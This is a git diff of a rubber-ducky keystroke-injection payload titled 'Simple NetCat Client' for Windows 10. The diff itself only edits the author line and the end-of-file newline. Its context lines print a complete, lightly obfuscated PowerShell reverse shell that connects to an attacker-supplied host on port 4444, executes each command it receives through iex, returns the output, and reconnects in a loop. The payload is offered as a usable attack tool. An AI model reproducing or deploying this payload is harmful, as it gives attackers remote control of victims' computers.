diff --git a/Tools/Simple NetCat Client.txt b/Tools/Simple NetCat Client.txt index d442d52..dca7964 100644 --- a/Tools/Simple NetCat Client.txt +++ b/Tools/Simple NetCat Client.txt @@ -1,5 +1,5 @@ REM Title: Simple NetCat Client -REM Author: @beigeworm +REM Author: @beigeworm | https://github.com/beigeworm REM Description: Uses Powershell to start a Netcat client that stays open until the system is restarted. REM Target: Windows 10 @@ -25,4 +25,4 @@ REM write out the main Powershell code. STRING do{;$v = 4;$a = New-Object SyStem.NeT.sockeTs.TCPClieNt("YOUR_IP_OR_DOMAIN_HERE",4444) STRING ;$b = $a.GetStream();[byte[]]$c = 0..65535|%{0};while(($d = $b.Read($c, 0, $c.Length)) -ne 0){;$e = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($c,0, $d) STRING ;$f = (iex $e 2>&1 | Out-String );$g = $f + (pwd).Path + '> ';$h = ([text.encoding]::ASCII).GetBytes($g);$b.Write($h,0,$h.Length);$b.Flush()};$a.Close();Sleep 10}while ($v -le 5) -ENTER \ No newline at end of file +ENTER